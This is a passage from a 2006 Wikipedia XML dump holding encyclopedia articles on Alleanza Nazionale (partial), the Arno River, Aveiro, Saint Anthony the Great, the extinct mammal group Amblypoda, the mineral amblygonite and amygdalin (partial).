In July [[2005]], three of Fini's &quot;colonels&quot; ([[Altero Matteoli]], [[Ignazio La Russa]] and [[Maurizio Gasparri]]), among the most powerful politicians in the party, were overheard in a café close to the [[Italian Parliament]] by an [[intern]] of the [[newspaper]] [[Il Tempo]]. [http://www.iltempo.it/approfondimenti/index.aspx?id=731449] They were recorded making unflattering comments about Fini's health, political capacity and unfitness to run the upcoming political campaign for the [[2006]] national elections.

As the news was made public, the three tried to apologize, but an allegedly furious Fini fired all of them on [[July 18]], and assumed complete control of the party. He proceeded to reengineer the party's structure, and assigned the new posts.

In the [[congress]] that had been held a few weeks before these events, Fini had criticised [[factionalism]] in the party, and received explicit criticism for that&amp;mdash;possibly for the first time so explicitly in a party that has a long tradition of obedience to its leader.

==External links==
* [http://www.azionegiovani.org Azione Giovani web site]
* [http://www.skugnizzo.it/agischia Azione Giovani Isola d'Ischia web site]
* [http://www.tau.ac.il/Anti-Semitism/asw97-8/sznajder.html Continuity or change in the ideology of the Alleanza Nazionale]
* [http://www.tau.ac.il/Anti-Semitism/annual-report.html The annual report of Anti-semitism worldwide], [http://www.tau.ac.il/Anti-Semitism/asw97-8/italy.html 1997], [http://www.tau.ac.il/Anti-Semitism/asw99-2000/italy.htm 1999], [http://www.tau.ac.il/Anti-Semitism/asw2003-4/italy.htm 2003] and between.

{{Political parties of Italy}}

[[Category:Euronationalist parties]]
[[Category:Political parties in Italy]]

[[de:Alleanza Nazionale]]
[[fr:Alliance nationale]]
[[it:Alleanza Nazionale]]
[[ja:国民同盟]]
[[nl:Alleanza Nazionale]]
[[no:Alleanza Nazionale]]
[[pl:Sojusz Narodowy]]
[[sv:Alleanza Nazionale]]</text>
    </revision>
  </page>
  <page>
    <title>Arno</title>
    <id>3238</id>
    <revision>
      <id>41659160</id>
      <timestamp>2006-02-28T21:45:37Z</timestamp>
      <contributor>
        <ip>149.152.216.156</ip>
      </contributor>
      <comment>Added Madame Arno</comment>
      <text xml:space="preserve">'''Arno''' can refer to:

* the [[Arno River]] in Italy
* [[Arno Bay, South Australia]]
* the singer [[Arno Hintjens]]
* the American cartoonist [[Peter Arno]]
* the German sculptor [[Arno Breker]]
* [[Madame Arno]], Parisian artist and fighter.
{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Arno River</title>
    <id>3240</id>
    <revision>
      <id>38705794</id>
      <timestamp>2006-02-08T02:16:44Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Adding: hu</comment>
      <text xml:space="preserve">:''This article is about the Arno river.  For the article about the singer, see [[Arno Hintjens]]''.
[[Image:Arno_river.jpg|thumbnail||300px|Arno River in Florence, Italy]]
The '''Arno''' is a [[river]] in the [[Tuscany]] region of [[Italy]], 

The river rises on [[Mount Falterona]] (1654 m) in the in the [[Casentino]] area) of the [[Apennines]], and takes a southward curve. The river turns to the west near [[Arezzo]] passing through [[Florence]], [[Empoli]] and [[Pisa, Italy|Pisa]], flowing into the [[Tyrrhenian Sea]] at [[Marina di Pisa]].  With a length of 241 km, it is the largest river in the region. Its tributaries are : the Sieve (60 km), Bisenzio (49 km), Era, Elsa and Pesa.

It crosses [[Florence, Italy|Florence]], where it passes below the [[Ponte Vecchio]] and the Santa Trinita bridge (built by [[Bartolomeo Ammannati]], but inspired by [[Michelangelo]]). The river [[flood]]ed this city regularly in historical times, the last occasion being the famous flood of [[1966]], with 4,500 [[cubic metre|m³]]/[[second|s]] after a rain of 437.2 [[millimetre|mm]] in Badia Agnano and 190 mm in Florence, in only 24 [[hour]]s.

[[Image:Firenze.Arno.jpg|thumb|left|200px|&lt;small&gt;Banks of the Arno, seen from Santa Trinita bridge, Florence&lt;/small&gt;]]
The flow rate of the Arno is irregular. It is sometimes described as having a torrent-like behaviour, because it can easily go from almost dry to near-flood in a few days. At the point where the Arno leaves the Appennines, flow measurements can vary between 0.56 m³/s and 3,540 m³/s. New [[dam]]s built upstream of Florence have greatly alleviated the problem in recent years.

[[Category:Rivers of Italy]]

[[da:Arno]]
[[de:Arno (Fluss)]]
[[es:Arno]]
[[eo:Rivero Arno]]
[[fr:Arno]]
[[it:Arno]]
[[hu:Arno]]
[[nl:Arno (rivier)]]
[[no:Arno]]
[[pl:Arno (rzeka)]]
[[ru:Арно (река)]]
[[sv:Arno]]</text>
    </revision>
  </page>
  <page>
    <title>Aveiro</title>
    <id>3244</id>
    <revision>
      <id>39998549</id>
      <timestamp>2006-02-17T11:20:02Z</timestamp>
      <contributor>
        <ip>193.136.173.41</ip>
      </contributor>
      <text xml:space="preserve">[[Image:AVR.png|thumb|Coat of Arms]]
[[Image:Aveirobynight.jpg|thumb|align=right|Aveiro streets by night]]
[[Image:Catedral_de_Aveiro.jpg|Sé Catedral de Aveiro|thumb|align=right|Sé Catedral de Aveiro]]
[[image:Aveiro.jpg|thumb|right|Aveiro and one of its canals.]]
'''Aveiro''' ([[Pronunciation|pron.]] [[International Phonetic Alphabet|IPA]] /{{IPA|a.'v&amp;#592;j.&amp;#638;u}}/) is a municipality in [[Portugal]] with a total area of 200.0 [[km²]] and a total population of 73,521 inhabitants.

The municipality is composed of 14 parishes, and is located in the District of [[Aveiro_(district)|Aveiro]].

The present Mayor is Élio Maia ([[Social Democrat Party|Partido_Social_Democrata]]) and the President of the Municipal Assembly is Carlos Manuel da Costa Candal ([[Portuguese Socialist Party|Socialist]]).

The municipal holiday is the second [[May 12]].

==Parishes==

* Aradas
* Cacia
* Eirol
* Eixo
* Esgueira
* Glória
* Nariz
* Nossa Senhora de Fátima
* Oliveirinha
* Requeixo
* Santa Joana
* São Bernardo
* São Jacinto
* Vera Cruz

==City's Information==

The seat of the municipality is the city of Aveiro, with about 50,000 inhabitants in the 5 urban parishes. Located on the shore of the [[Atlantic Ocean]], Aveiro is an industrial city with an important [[seaport]]. The city of Aveiro is also the Capital of the District of [[Aveiro_(district)|Aveiro]].

Aveiro is known in Portugal for its traditional sweets, the [[ovos-moles]] and the [[trouxas de ovos]], both made from eggs. It is sometimes called &quot;The Portuguese [[Venice]]&quot; because of its canals and boats that remind one of the Italian city of Venice. As the city faced similar problems when it tried to conquer the water.

The city dates back at least to the 10th century when it was known by it's first Latin name of Aviarium, literally, &quot;a gathering place or preserve of birds&quot;. The Moors invaded and then held it until the 14th century, after which it became popular with Portuguese royalty. In the winter of 1575, a terrible storm closed the entrance to its port, ending a thriving trade in metals and tiles. The same storm also created a reef barrier at the Atlantic Ocean.

The city is also famous for its production of salt and for its seaweed harvest which is used for fertilizer in the area. 

João Alfonso, one of the discoverers of the Newfoundland fisheries, was born there. 

The city is also famous for the Convento de Jesus (now known as the city museum), built in the 15th century, which contains the tomb of the daughter of Alfonso V, St. Joana, who died in 1490. The presence of this royal personage, beatified in 1673, proved to be of great benefit when she bequeathed her valuable estate to the convent. In the 17th and 18th centuries, the convent housed a school of embroidery, which produced many of the sumptuous pieces kept in the museum.

Aveiro hosted 3 games of the [[2004 European Football Championship]].

The [[Universidade de Aveiro|University of Aveiro]] was created in 1973 and is considered one of the most dynamic and innovative universities of Portugal, attracting thousands of students to the city.
The University has about 430 professors (with Ph.D. degree), 11,000 undergraduate students and 1,300 post-graduate students.

==See also==
*[[Centro, Portugal]]
*[[Duchy of Aveiro]]
*[[Aveiro (district)|District of Aveiro]]
*[[Mário Sacramento]]

==External links==
[http://www.portalaveiro.com/  official Aveiro website]

[http://www.cm-aveiro.pt/ Town Hall official website]

[http://www.ua.pt/ University of Aveiro]

[http://www.ovosmoles.net/ Portal Ovos Moles ]


{{Municipalities of Aveiro}}
[[Category:Cities in Portugal]]
[[Category:Municipalities of Portugal]]

[[ca:Aveiro]]
[[de:Aveiro (Hauptstadt)]]
[[is:Aveiro]]
[[it:Aveiro]]
[[nl:Aveiro (stad)]]
[[pt:Aveiro]]
[[ro:Aveiro]]
[[ru:Авейру]]</text>
    </revision>
  </page>
  <page>
    <title>Anthony the Great</title>
    <id>3246</id>
    <revision>
      <id>41455363</id>
      <timestamp>2006-02-27T13:16:38Z</timestamp>
      <contributor>
        <ip>212.76.37.164</ip>
      </contributor>
      <comment>pl: correction</comment>
      <text xml:space="preserve">:''See also [[Anthony of Padua]]''.
[[Image:StAnthony.jpg|frame|Saint Anthony the Great, Father of all Monks]] '''Saint Anthony the Great''' (251 - 356),  also known as '''Saint Anthony of [[Egypt]]''', '''Saint Anthony of the Desert''', '''Saint Anthony the [[Anchorite]]''', and '''The Father of All Monks''', was a [[Christianity|Christian]] [[saint]] and the outstanding leader among the [[Desert Fathers]], who were Christian [[monasticism|monks]] in the [[Egypt|Egyptian]] desert in the 3rd and 4th centuries A.D. His [[feast day]] is celebrated on [[January 17]]th in some churches, but celebrated on [[Month of Tobi|Tobi]] 22 ([[January 31]]) in the [[Coptic Orthodox Church]] and the [[Coptic Catholic Church]] which has the closest cultural and geographical ties to him.

==Saint Anthony by Athanasius==

Most of what we know about the life of St Anthony is in the Greek ''[[vita]]'' by [[Athanasius]] (d. 373), which soon circulated in Latin. Several surviving homilies and epistles of varying authenticity provide scant autobiographical detail.

Anthony was born near [[Heraclea]] in [[Upper Egypt]] in 251 to wealthy parents. When he was twenty years old, his parents died and left him with the care of his unmarried sister. In 285, he decided to follow the words of [[Christ]] who had said: &quot;If you want to be perfect, go, sell what you have and give to the poor, and you will have treasures in heaven; and come, follow Me.&quot; ([[Matthew]] 19:21). Anthony gave his wealth to the poor and needy, and placed his sister with a group of Christian virgins, a sort of proto-nunnery at the time.

Christian [[monasticism]] had not yet been established, so those who wanted to live an ascetical life retired separately to isolated locations on the outskirts of cities. The pagan ascetic hermits and loosely organized [[Cenobitic|cenobitic communities]] that the Hellenized Jewish philosopher [[Philo of Alexandria]] described as the ''[[Therapeutae]]'' in the first century, were long established in the harsh environments by the [[Lake Mareotis]] close to [[Alexandria]], and in other less-accessible regions, Philo understood: for &quot;this class of persons may be met with in many places, for both Greece and barbarian countries want to enjoy whatever is perfectly good.&quot; (Philo,''De vita contemplativa'' written ca. AD 10)

By the 2nd century there were also famous Christian ascetics, such as [[Saint Thecla]]. Saint Anthony decided to follow this tradition and headed out into the alkaline desert region called the Nitra in Latin ([[Wadi al-Natrun]] today), about 60 miles west of Alexandria, some of the most rugged terrain of the [[Western Desert]].  

According to Athanasius, the devil fought St Anthony by afflicting him with boredom, laziness, and the phantoms of women, which he overcame by the power of prayer, providing a theme for Christian art. After that, he moved to a tomb, where he resided and closed the door on himself, depending on some local villagers who brought him food. When the devil perceived his ascetic life and his intense worship, he was envious and beat him mercilessly, leaving him unconscious. When his friends from the local village came to visit him and found him in this condition, they carried him to a church.

After he recovered, he made a second effort and went back to the desert, further out, to a mountain by the Nile, called Pispir, now [[Der el Memun]], opposite [[Arsinoe, Egypt|Arsinoë in the Fayyum]].  Here he lived strictly enclosed in an old abandoned Roman fort for some twenty years.  According to Athanasius, the devil again resumed his war against Saint Anthony, only this time the phantoms were in the form of wild beasts, wolves, lions, snakes and scorpions. They appeared as if they were about to attack him or cut him into pieces. But the Saint would laugh at them scornfully and say, &quot;If any of you have any authority over me, only one would have been sufficient to fight me.&quot; At his saying this, they disappeared as though in smoke, and God gave him the victory over the devils. While in the fort he only communicated with the outside world by a crevice through which food would be passed and he would say a few words. Saint Anthony would prepare a quantity of bread that would sustain him for six months. He did not allow anyone to enter his cell: whoever came to him, stood outside and listened to his advice. 

&lt;!-- Unsourced image removed: [[Image:Anthonytheabbot.jpg|frame|left|Anthony the Abbot]] --&gt;

The one day he emerged from the fort with the help of villagers to break down the door. By this time most had expected him to have wasted away, or gone insane in his solitary confinement, but he emerged healthy, serene, and enlightened. Everyone was amazed he had been through these trials and emerged spiritually rejuvenated. He was hailed as a hero and from this time forth the legend of Anthony began to spread and grow. 

The backstory of one of the surviving epistles, directed to [[Constantine the Great]] recounts how the fame of Saint Anthony spread abroad and reached Emperor Constantine. The Emperor wrote to him, offering him praise and asked him to pray for him. The brethren were pleased with the Emperor's letter, but Anthony did not pay any attention to it, and he said to them, &quot;The books of God, the King of Kings and the Lord of Lords, commands us everyday, but we do not heed what they tell us, and we turn our backs on them.&quot; Under the persistence of the brethren who told him, &quot;[[Emperor Constantine]] loves the church,&quot; he accepted to write him a letter blessing him, and praying for the peace and safety of the empire and the church.  

Then he went to the [[Al Fayyum|Fayyum]] and confirmed the brethren there in the [[Christianity|Christian]] faith, then returned to his old Roman fort. Anthony wished to become a [[martyr]] and went to [[Alexandria]]. He visited those who were imprisoned for the sake of [[Christ]] and comforted them. When the Governor saw that he was confessing his [[Christianity]] publicly, not caring what might happen to him, he ordered him not to show up in the city. However, the Saint did not heed his threats. He faced him and argued with him in order that he might arouse his anger so that he might be tortured and [[martyr|martyred]], but it did not happen.

Then he went back to the old Roman fort and many came to visit him and to hear his teachings. He saw that these visits kept him away from his worship. As a result, he went further into the [[Eastern Desert]] of Egypt. He travelled to the inner wilderness for three days, until he found a spring of water and some palm trees, and then he chose to settle there. On this spot now stands the monastery of Saint Anthony the Great (see below). On occasions, he would go to the monastery on the outskirts of the desert by the [[Nile]] to visit the brethren, then return to his inner [[monastery]]. 

According to Athanasius, Saint Anthony heard a voice telling him, &quot;Go out and see.&quot; He went out and saw an angel who wore a girdle with a cross, one resembling the holy Eskiem ([[Tonsure]] or [[Schema]]), and on his head was a head cover (Kolansowa). He was sitting while braiding palm leaves, then he stood up to pray, and again he sat to weave. A voice came to him saying, &quot;Anthony, do this and you will rest.&quot; Henceforth, he started to wear this tunic that he saw, and began to weave palm leaves, and never got bored again. Saint Anthony prophesied about the persecution that was about to happen to the church and the control of the heretics over it, the church victory and its return to its formal glory, and the end of the age. When [[Saint Macarius]] visited Saint Anthony, Saint Anthony clothed him with the monk's garb, and foretold him what would be of him. When the day drew near of the departure of Saint [[Paul the First Hermit]] in the desert, Saint Anthony went to him and buried him, after clothing him in a tunic which was a present from [[Athanasius of Alexandria|St Athanasius the Apostolic]], the 20th [[List of Patriarchs of Alexandria|Pope of Alexandria]]. 

When Saint Anthony felt that the day of his departure had approached, he commanded his disciples to give his staff to Saint Macarius, and to give one sheepskin cloak to [[Athanasius of Alexandria|Saint Athanasius]] and the other sheepskin cloak to [[Saint Serapion]], his disciple. He further instructed his disciples to bury his body in an unmarked, secret [[grave]], lest his body become an object of [[veneration]]. He stretched himself on the ground and gave up his spirit. Saint Anthony the Great lived for 105 years and departed on the year 356. Probably he spoke only his native language, [[Coptic language|Coptic]], but his sayings were spread in a [[Greek language|Greek]] translation. He himself left no writings. His biography was written by [[Athanasius of Alexandria|Saint Athanasius the Apostolic]] and titled ''Life of Saint Anthony the Great''. Many stories are also told about him in various collections of sayings of the [[Desert Fathers]].

Some of the stories included in Saint Anthony's biography are perpetuated now mostly in paintings, where they give an opportunity for artists to depict their more lurid or bizarre fantasies. Many pictorial artists, from [[Hieronymus Bosch]] to [[Salvador Dalí]], have depicted these incidents from the life of Anthony; in prose, the tale was retold and embellished by [[Gustave Flaubert]].

==Founder of monasticism==	 
Saint Anthony along with Paul the Hermit are seen as the founders of [[Christian monasticism]]. Paul is lauded by Anthony as the first monk and the monastery of Paul exists to this day in Egypt. Anthony himself provided the example that others would follow (see [[Saint Pachomius]]). Anthony did not himself organize or create a monastary, but they grew up around him based on his example of living an ascetic and isolated life that others wished to follow, and who needed the community and company of others to survive the harsh conditions.

==Monastery of St. Anthony the Great==
The fortress-like [[Coptic language|Coptic]] Monastery of St Anthony the Great, at Deir El-Kedees El-Anba Antonios stands at an oasis spring in the Red Sea Mountains, 155 km (100 miles) south west of Cairo. It was founded in the mid-4th century, perhaps in 356, on Anthony's burial site. The Coptic Orthodox monastery, presided over by an [[abbot]], is one of the oldest Christian monasteries in the world. 

The first true monastery was founded by [[Pachomius]] in about 320&amp;ndash;325 at Tabennisi, Egypt. Historical texts mention the site, but until 2005 no archeological evidence had previously been found there, earlier than the sixth century. Then an earlier collection of monks' rooms with private living areas was uncovered, and a central communal room, where the archeological team found cooking implements [http://www.cnn.com/2005/TECH/science/08/09/egypt.monastery.reut/index.html].

==References==
*The Greek ''Vita'' of Athanasius.
*The almost contemporary Latin translation: in  Heribert Rosweyd, ''Vitae Patrum'' ([[Migne]], ''Patrologia Latina''. lxxiii.)
*An English translation: in Philip Schaff and Henry Wace, editors ''Nicene and Post-Nicene Fathers'', Series II, vol. IV [ [http://www.fordham.edu/halsall/basis/vita-antony.html Full text on-line], with criticisms pro and con of the attribution of this ''vita'' to Athanasius.

*Accounts of St Anthony are given by [[Cardinal Newman]] (&quot;Church of the Fathers&quot; in ''Historical Sketches'') and [[Alban Butler]], ''Lives of the Saints'' (under Jan. 17).
* [http://www.copticchurch.net/classes/synex.php?sa=1&amp;month=5&amp;day=22&amp;btn=View A Hagiographic Account of the life of St. Anthony from the Coptic Church]  

===Historical and critical===
*E. C. Butler, (1898, 1904). ''Lausiac History of Palladius'', Part I. pp. 197, 215-228; Part II. pp. ix.-xii. (See [[Palladius]]).
*S. Rubenson, 1995. ''The Letters of St. Antony : monasticism and the making of a saint'' (Minneapolis)  An analysis of the letters, including authenticity and theological content.
* {{1911}}
* [http://www.newadvent.org/cathen/01553d.htm ''Catholic Encyclopedia'' 1908:] &quot;St. Anthony the Great&quot;
*[http://stanthony.i8.com/ Coptic Monastery of St Anthony the Great website]

===Texts attributed to St Anthony===
* [http://www.seanmultimedia.com/Pie_Antonyofthedesert_discourseondemons.html &quot;Discourse on Demons&quot;], translated by Rev. H. Ellershaw (on-line)  

[[Category:251 births]]
[[Category:356 deaths]]
[[Category:Ancient Roman Christianity]]
[[Category:Saints|Antony]]
[[Category:Centenarians]]
[[Category:Egyptian people|Antony]]
[[Category:Coptic Saints|Antony]]
[[Category:History of Catholic religious orders]]
[[Category:Monks and nuns|Anthony the Great]]
[[Category:Abbots|Anthony the Great]]

[[de:Antonius der Große]]
[[es:Antonio Abad]]
[[fr:Antoine le Grand]]
[[it:Sant'Antonio Abate]]
[[nap:Sant'Antonio Abate]]
[[nl:Antonius van Egypte]]
[[nn:Antonius den store]]
[[no:Antonius den store]]
[[pl:Antoni Wielki]]
[[pt:Antão do Deserto]]
[[ru:Антоний Великий]]
[[sr:Преподобни Антоније Велики]]
[[sv:Antonios Eremiten]]
[[uk:Святий Антоній]]</text>
    </revision>
  </page>
  <page>
    <title>Archdiocese for the Military Services</title>
    <id>3247</id>
    <revision>
      <id>27447807</id>
      <timestamp>2005-11-05T14:48:56Z</timestamp>
      <contributor>
        <username>Wesley</username>
        <id>63</id>
      </contributor>
      <comment>merging</comment>
      <text xml:space="preserve">#redirect [[Roman Catholic Archdiocese for the Military Services]]</text>
    </revision>
  </page>
  <page>
    <title>Archeopteryx</title>
    <id>3248</id>
    <revision>
      <id>15901607</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Archaeopteryx]]
</text>
    </revision>
  </page>
  <page>
    <title>Amblypoda</title>
    <id>3250</id>
    <revision>
      <id>37344563</id>
      <timestamp>2006-01-30T10:58:55Z</timestamp>
      <contributor>
        <username>Gdr</username>
        <id>55814</id>
      </contributor>
      <comment>no taxobox for invalid taxa</comment>
      <text xml:space="preserve">'''Amblypoda''' is a taxonomic hypothesis uniting a group of extinct, herbivorous [[mammal]]s. They were considered a suborder of the primitive [[ungulate]] mammals, and have since been shown to represent a [[polyphyletic]] group.

==Characteristics==

The Amblypoda take their name from their short and stumpy feet, which were furnished with five toes each, and supported massive pillar-like limbs. The brain-cavity was extremely small and insignificant in comparison to the bodily mass, which was equal to that of the largest [[rhinoceros|rhinoceroses]]. These animals are, in fact, descendants of the small ancestral ungulates which retained all the primitive characteristics of the latter accompanied by a huge increase in body size. 

The Amblypoda are confined to the [[Eocene]] period, and occur both in [[North America]] and [[Europe]]. The cheek teeth are short crowned ([[brachyodont]]), with the tubercles more-or-less completely fused into transverse ridges, or cross-crests ([[lophodont]] type); and the total number of teeth is in one case the typical 44, but in another is less. The [[vertebra]] of the neck unite on nearly flat surfaces, the [[humerus]] has lost the foramen, or perforation, at the lower end, and the third trochanter to the [[femur]] may also be wanting. In the fore-limb the upper and lower series of [[carpal]] (finger) bones scarcely alternate, but in the hind-foot the astragalus overlaps the cuboid, while the [[fibula]], which is quite distinct from the [[tibia]] (as is the [[radius (bone)|radius]] from the [[ulna]] in the fore-limb), articulates with both astragalus and calcaneum.

==Types of amblypods==

The most generalized type is ''[[Coryphodon]]'', representing the family [[Coryphodontidae]], from the lower Eocene of Europe and North America, in which there were 44 teeth, and no horn-like excrescences on the long skull, while the femur had a third trochanter. The canines are somewhat elongated, and were followed by a short gap in each jaw, and the cheek-teeth were adapted for succulent food. The length of the body reached about six feet in some cases. 

In the middle Eocene formations of North America occurs the more specialized ''[[Uintatherium]]'' (or ''Dinoceras''), typifying the family [[Uintatheriidae]]. Uintatheres were huge creatures with long narrow skulls, of which the elongated facial portion carried three pairs of bony horn-cores, probably covered with short horns in life, the hind-pair being much the largest. The dental formula is i. 0/3, c. 1/1, p. 3/3·4, m.  3/3; the upper canines being long sabre-like weapons, protected by a descending flange on each side of the lower front jaw. 

In the basal Eocene of North America, the Amblypoda were represented by extremely primitive, five-toed, small ungulates such as ''[[Periptychus]]'' and ''[[Pantolambda]]'', each of these typifying a family. The full typical series of 44 teeth was developed in each, but whereas in the [[Periptychidae]] the upper molars were [[bunodont]] and [[tritubercular]], in the [[Pantolambdidae]] they have assumed a [[selenodont]] structure. [[Creodonta|Creodont]] characters are displayed in the skeleton.

==Current taxonomy of animals once classified in amblypoda==
Few authorities recognize Amblypoda in modern classifications.  The following mammals were once considered part of this group:

*Order [[Pholidota]] ([[pangolin]]s)
*Order [[Pantodonta]]
**Family [[Wangliidae]]
**Family [[Harpyodidae]]
**Family [[Bemalambdidae]]
**Family [[Pastoralodontidae]]
**Family [[Titanoideidae]]
**Family [[Pantolambdidae]] (including ''[[Pantolambda]]'')
**Family [[Barylambdidae]]
**Family [[Cyriacotheriidae]]
**Family [[Pantolambdodontidae]]
**Family [[Coryphodontidae]] (including ''[[Coryphodon]]'')

*Order [[Dinocerata]]
**Family [[Uintatheriidae]] (includes ''[[Uintatherium]]'', ''Eobasileus'', ''Tetheopsis'', etc.  ''[[Gobiatherium]]'' is sometimes placed in its won family)

*Order [[Condylartha]]
**Family [[Hyopsodontidae]]
**Family [[Mioclaenidae]]
**Family [[Phenacodontidae]]
**Family [[Periptychidae]] (including ''[[Periptychus]]'')
**Family [[Peligrotheriidae]]
**Family [[Didolodontidae]]

[[Category:Prehistoric mammals]]
[[Category:Eocene mammals]]
[[Category:Eocene extinctions]]

==References==
*{{1911}}</text>
    </revision>
  </page>
  <page>
    <title>Amblygonite</title>
    <id>3251</id>
    <revision>
      <id>38160098</id>
      <timestamp>2006-02-04T16:30:38Z</timestamp>
      <contributor>
        <username>Jaraalbe</username>
        <id>261435</id>
      </contributor>
      <comment>aluminium mineral category</comment>
      <text xml:space="preserve">'''Amblygonite''' is a fluorophosphate mineral, (Li,Na)AlPO&lt;sub&gt;4&lt;/sub&gt;(F,OH), composed of [[lithium]], [[sodium]], [[aluminium]], [[phosphate]], [[fluoride]] and [[hydroxide]]. The mineral occurs in pegmatite deposites and is easily mistaken for [[albite]] and other [[feldspar]]s. Its density, cleavage and flame test for lithium are diagnostic. Geologic occrrence is in [[granite]] [[pegmatite]]s, high-temperature [[tin]] veins, and greisens. Amblygonite occurs with [[spodumene]], [[apatite]], [[lepidolite]], [[tourmaline]], and other lithium-bearing minerals in pegmatite veins.  It contains about 10% lithium, and has been utilized as a source of lithium. The chief commercial sources have historically been the deposits of California and France.

== Properties ==
{| BORDER=&quot;0&quot; WIDTH=&quot;596&quot;
|-
| WIDTH=&quot;172&quot; BGCOLOR=&quot;#FFCCCC&quot; | [[Crystal structure|Crystallographic system]]
| WIDTH=&quot;410&quot; | Triclinic
|-
| WIDTH=&quot;172&quot; BGCOLOR=&quot;#FFCCCC&quot; | Form
| WIDTH=&quot;410&quot; | Prismatic to columnar
|-
| WIDTH=&quot;172&quot; BGCOLOR=&quot;#FFCCCC&quot; | Twinning
| WIDTH=&quot;410&quot; | Microscopic polysynthetic twinning common
|-
| WIDTH=&quot;172&quot; BGCOLOR=&quot;#FFCCCC&quot; | Colors
| WIDTH=&quot;410&quot; | Generally white or creamy, but can also be colorless or pale yellow, green, blue, beige, gray or pink.
|-
| WIDTH=&quot;172&quot; BGCOLOR=&quot;#FFCCCC&quot; | Luster
| WIDTH=&quot;410&quot; | Vitreous to pearly
|-
| WIDTH=&quot;172&quot; BGCOLOR=&quot;#FFCCCC&quot; | [[Mohs scale of mineral hardness|Hardness]]
| WIDTH=&quot;410&quot; | 5.5 - 6
|-
| WIDTH=&quot;172&quot; BGCOLOR=&quot;#FFCCCC&quot; | [[Specific gravity]]
| WIDTH=&quot;410&quot; | 2.98 - 3.11
|-
| WIDTH=&quot;172&quot; BGCOLOR=&quot;#FFCCCC&quot; | [[Refractive index]]
| WIDTH=&quot;410&quot; | n&lt;SUB&gt;a&lt;/SUB&gt;=1.577 - 1.591 n&lt;SUB&gt;b&lt;/SUB&gt;=1.592 - 1.605 n&lt;SUB&gt;c&lt;/SUB&gt;=1.596 - 1.613
|-
| WIDTH=&quot;172&quot; BGCOLOR=&quot;#FFCCCC&quot; | Cleavage
| WIDTH=&quot;410&quot; | [100] Perfect, [110] Good, [011] Distinct
|-
| WIDTH=&quot;172&quot; BGCOLOR=&quot;#FFCCCC&quot; | Fracture
| WIDTH=&quot;410&quot; | Irregular/Uneven,Sub-Conchoidal
|}

==History==

The mineral was first discovered in [[Saxony]] by A. Breithaupt in [[1817]], and named by him from the Greek ''amblus'', blunt, and ''gouia'', angle, because of the obtuse angle between the cleavages. Later it was found at Montebras, Creuse, [[France]], and at Hebron in [[Maine]]; and because of slight differences in optical character and chemical composition the names montebrasite and hebronite have been applied to the mineral from these localities.  It has been discovered in considerable quantity at Pala in San Diego county, [[California]];  Caceres, [[Spain]]; and the [[Black Hills]] of [[South Dakota]].

==References==
*Dana's Manual of Mineralogy ISBN 0471032883
*[http://www.mindat.org/min-305.html mindat.org]
*[http://www.minerals.net/mineral/sulfides/arsenopy/arsenopy.htm Minerals.net]
*[http://mineral.galleries.com/minerals/phosphat/amblygon/amblygon.htm Mineral Galleries]

[[Category:Sodium minerals]]
[[Category:Lithium minerals]]
[[Category:Aluminium minerals]]
[[Category:Hydroxide minerals]]
[[Category:Phosphate minerals]]

[[cs:Amblygonit]]
[[nl:Amblygoniet]]</text>
    </revision>
  </page>
  <page>
    <title>Amygdalin</title>
    <id>3252</id>
    <revision>
      <id>41512456</id>
      <timestamp>2006-02-27T21:35:24Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <comment>clean up and bulleting external links using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">[[image:Amygdalin.png|right|thumb|250px|[[Chemical structure]] of Amygdalin]]
'''Amygdalin''' (from the Greek ''amugdale'', almond), C&lt;sub&gt;20&lt;/sub&gt;H&lt;sub&gt;27&lt;/sub&gt;NO&lt;sub&gt;11&lt;/sub&gt;, is a [[glycoside]] isolated from bitter [[almond|almonds]] by H. E. Robiquet and A. F. Boutron-Charlard in [[1830]], and
subsequently investigated by [[Justus von Liebig|Liebig]] and [[Friedrich Woehler|Wöhler]], and others.  Some sources claim [[Ernst T. Krebs]] was the discoverer of the substance, and Krebs is generally credited with popularizing it as a purported cancer cure and as &quot;Vitamin B17.&quot;  It is extracted from almond cake by boiling [[ethanol|alcohol]]; on evaporation of the solution and the addition of [[diethyl ether|ether]], amygdalin is precipitated as white minute crystals.  [[Sulfuric acid]] decomposes it into [[Glucose|d-glucose]], [[benzaldehyde]], and prussic acid ([[hydrogen cyanide]]); while [[hydrochloric acid]] gives [[mandelic acid]], d-glucose, and [[ammonia]].  The decomposition induced by enzymes may occur in two ways.  [[Maltase]] partially decomposes it, giving d-glucose and mandelic nitrile glucoside, C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;CH(CN)O·C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;11&lt;/sub&gt;O&lt;sub&gt;5&lt;/sub&gt;; this compound is isomeric with [[sambunigrin]], a glucoside found by E.E. Bourquelot and Danjou in the berries
of the common elder, ''Sambucus nigra''. [[Emulsin]], on the other hand, decomposes it into [[benzaldehyde]], [[cyanide]], and two molecules of [[glucose]]; this [[enzyme]] occurs in the [[bitter almond]], and consequently the seeds invariably contain free cyanide and benzaldehyde.  An &quot;amorphous amygdalin&quot; is said to occur in the cherry-laurel.  Closely related to these glucosides is [[dhurrin]], C&lt;sub&gt;14&lt;/sub&gt;H&lt;sub&gt;17&lt;/sub&gt;O&lt;sub&gt;7&lt;/sub&gt;N, isolated by W. Dunstan and T. A. Henry from the common [[sorghum]] or &quot;great millet,&quot; ''Sorghum vulgare''; this substance is decomposed by [[emulsin]] or hydrochloric acid into d-glucose, cyanide, and [[p-hydroxybenzaldehyde]].

Amygdalin is also called laevomandelonitrile, or '''Laetrile''' (some claim that ''Laetrile'' is derived from a [[Latin]] word meaning &quot;joyfulness&quot;) for short, and has been advocated by some as a &quot;cure&quot; or a &quot;preventative&quot; for [[cancer]]: as there is no scientifically accepted evidence of its efficacy, it has not been approved for this use by the [[FDA]].  The US government's [[National Institutes of Health]] reports that two clinical trials with laetrile have been published.  One Phase I study found that amygdalin caused minimal side effects; the side effects that were seen were similar to the symptoms of [[cyanide]] poisoning.  One Phase II study with 175 patients had some patients reporting improvements in symptoms, but all patients showed cancer progression 7 months after completing treatment, and it was determined no further tests were necessary.

